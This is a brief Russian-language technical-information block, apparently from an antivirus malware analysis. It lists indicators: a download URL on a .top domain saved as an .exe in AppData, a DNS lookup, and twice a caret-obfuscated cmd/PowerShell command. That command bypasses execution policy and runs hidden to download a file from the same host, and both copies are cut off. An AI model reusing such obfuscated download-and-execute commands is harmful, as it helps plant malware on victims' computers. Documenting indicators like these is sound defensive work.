Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "POw^ERS^H^Ell.^Ex^E -eXECU^T^I^ONpO^lI^CY B^ypa^SS -N^O^PR^OF^I^le ^-WiN^DoWsTylE hi^D^d^en (N^E^w^-o^B^jEcT Sy^STe^M^.^net.weBClI^ENt).^D^O^W^N^LO^a^DF^IlE(^'http://www.zoe...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "POw^ERS^H^Ell.^Ex^E -eXECU^T^I^ONpO^lI^CY B^ypa^SS -N^O^PR^OF^I^le ^-WiN^DoWsTylE hi^D^d^en (N^E^w^-o^B^jEcT Sy^STe^M^.^net.weBClI^ENt).^D^O^W^N^LO^a^DF^IlE(^'http://www.zoe...' (со скрытым окном)